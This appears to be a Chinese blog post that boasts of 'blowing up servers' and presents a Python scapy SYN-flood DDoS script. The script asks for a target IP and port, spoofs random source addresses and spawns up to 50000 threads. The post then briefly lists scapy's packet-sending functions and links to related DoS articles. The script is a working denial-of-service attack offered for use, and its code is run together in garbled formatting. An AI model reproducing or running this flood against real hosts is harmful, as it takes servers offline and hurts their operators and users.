python3 亲测打爆服务器

import random
from scapy.all import *  # scapy模块
import sys
import threading
import randomglobal idef synFlooi(tgt, dPort, k):  # 自定义函数i = 1while True:srcList = ['192' + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254)),'10.' + str(random.randrange(254)) + '.' + str(random.randrange(254)) + '.' + str(random.randrange(254))]# 设置源ip地址sPort = random.randrange(1024, 65535)  # 设置端口index = random.randrange(0, 1)  # 选一个ip段ipLayer = IP(src=srcList[index], dst=tgt)tcpLayer = TCP(sport=sPort, dport=dPort, flags="S")  # 构造ip包packet = ipLayer / tcpLayer  # 构造tcp包send(packet)if k == i:breakelse:print(f'已经攻击次数{i}')i = i + 1if __name__ == '__main__':print("***********\n欢迎使用小万ddos攻击 \n**************")tgt = input("请输入被攻击者ip地址:")port = int(input("请输入被攻击者的端口:"))xc = int(input("线程数目(默认50000)攻击数要乘以线程数:") or 50000)k, i = int(input("请输入执行次数:")), 1lb = []for m in range(0, xc):lb.append(threading.Thread(target=synFlooi, args=(tgt, port, k))) #多线程起飞lb[m].start()print(f'线程{m}启动成功')

scapy发送数据包有常用的如下几种方法:

send(pkt) 发送三层数据包,但不会受到返回的结果。

sr(pkt) 发送三层数据包,返回两个结果,分别是接收到响应的数据包和未收到响应的数据包。

sr1(pkt) 发送三层数据包,仅仅返回接收到响应的数据包。

sendp(pkt) 发送二层数据包。

srp(pkt) 发送二层数据包,并等待响应。

srp1(pkt) 发送第二层数据包,并返回响应的数据包

例如,使用sr发送一个数据包,ans为响应的数据包,uans为未响应的数据包。

scapy dos攻击相关推荐

  1. Dos攻击和校网渗透

    Dos攻击和校网渗透 为了证明我还活着,话不多说 Dos攻击脚本(这是一个sockstrees  Dos脚本) 1 #-*- coding:utf-8 -*- 2 from scapy.all imp ...

  2. HTTP POST慢速DOS攻击初探

    1. 关于HTTP POST慢速DOS攻击 HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这 ...

  3. python dos攻击_利用SMB漏洞DoS攻击任何Windows系统

    原标题:利用SMB漏洞DoS攻击任何Windows系统 近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 " SMBLoris ",解释其能够发动拒绝服务(Dos)攻击, ...

  4. Dos攻击工具(ZAmbIE)

    简介 ZAmbIE是一款DOS攻击工具,支持各种状态的DOS攻击,用Python编写,还没有完成,但是可以使用 首先说明一下DDOS才是分布式拒绝服务攻击,DOS是拒绝服务攻击,DOS是单机操作的 下 ...

  5. Avahi DOS攻击broadcast-avahi-dos

    Avahi DOS攻击broadcast-avahi-dos Avahi是Linux下常用的类DNS服务.它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务.该工具工作 ...

  6. DOS攻击之详解--转载

    源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...

  7. TCP协议三次握手连接四次握手断开和DOS攻击

    转载: http://hi.baidu.com/xgdcisco/blog/item/60da65f70fd8145d342acc28.html: http://blog.csdn.net/losty ...

  8. dos攻击mysql_浅谈DOS与DDOS攻击

    DOS(Denial of Service)攻击,即拒绝服务攻击,其目的是使计算机或网络无法提供正常的服务.最常见的DoS攻击有计算机网络带宽攻击和连通性攻击. DDOS(DDoS:Distribut ...

  9. 利用UDP19端口实施DOS攻击的真实案例

    昨天在一个用户现场发现了一个利用UDP19端口对互联网受害者主机进行DOS攻击的真实案例.这个情况是我第一次见到,个人认为对以后遇到此类情况的兄弟具有参考价值.有必要做一个简单的分析记录. 在此次的分 ...

最新文章

  1. android sdk安装
  2. libvirt(virt-install命令介绍)
  3. Http服务添加认证
  4. webpack从入门到精通(一)初体验
  5. Hi Visual Studio for Mac
  6. 自定义汇编程序,Weaver和运行时的可插拔知识
  7. 揭秘“21世纪最性感的职业”:数学、编程、沟通和商业技能一个都不能少!...
  8. 尚学堂java 答案解析 第四章
  9. 自定义异步加载资源插件
  10. activemq网页管理端使用_极周PC端(网页版)使用说明
  11. 《Android 应用案例开发大全(第3版)》——第1.3节Android开发环境的搭建
  12. C51自动贪吃蛇程序
  13. SQL Server索引 - 聚集索引、非聚集索引、非聚集唯一索引 第八篇
  14. 问题解决_系统识别不了内存
  15. 远程文件下载/小电影下载
  16. HTML把cmyk转换为RGB,CMYK在线转换成pantone色卡号,cmyk转换对应潘通色号
  17. 【MySQL·水滴计划】第三话- SQL的基本概念
  18. 两台MAC时间机器的备份和系统恢复
  19. linux usb3 转hdmi,USB TYPE-C转HDMI+PD3.0+USB3.0/USB3.1多功能扩展坞设计方法和设计电路...
  20. 6 款国外开源web oa办公系统

热门文章

  1. OCR技术大揭秘:纸质文档数字化的新选择
  2. 说说我亲历的京东发展史
  3. 农村小学使用计算机新闻稿,科技圆梦 生活美好——2017年东边小学科技节活动报道...
  4. 推荐一个压缩 png、jpg、pdf 文件的网站
  5. Android 广播+服务+AIDL一起实现手机号码拦截
  6. Backtrader 画图和指标
  7. 关于SSL原理的详解
  8. OpenCV--图像的基本表示方法
  9. 公司给了IP地址如何使用(详细版)
  10. 如何测试朋友圈?这样回答会让HR眼前一亮